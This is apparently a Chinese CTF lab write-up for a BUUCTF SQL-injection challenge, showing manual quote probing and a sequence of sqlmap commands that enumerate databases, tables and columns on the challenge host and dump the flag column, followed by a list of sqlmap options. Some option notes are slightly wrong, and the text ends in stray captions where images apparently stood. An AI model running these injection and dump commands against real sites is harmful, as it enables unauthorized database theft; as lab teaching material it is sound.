[第一章 web入门]SQL注入-1 及sqlmap的简单使用

跟着题目来学习一下sqlmap的简单使用

首先?id=1是如下结果

id=1’

id=1’’

判断存在注入点，这里直接展示sqlmap

1、判断是否存在注入点

python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1

2、查看所有数据库

python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 --dbs

3、查看数据中的列表

python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 -D mysql -tables

4、查看列表中的字段

python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 -D note -T fl4g --columns

5、查看字段的内容

python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 -D note -T fl4g -C fllllag --dump

6、然后还有一些其他的

-p 指定测试参数
-b 获取banner
--is-dba 是否为管理员权限
--current-user 查看当前数据库
--current-user 查看当前用户
--count 检索所有数据数量
--level 测试等级（1-5）默认为1
-v 显示详细信息
-D 指定数据库
-T 指定表
-C 指定列
（大写）

DBA：True表示是管理员权限

用户

当前数据库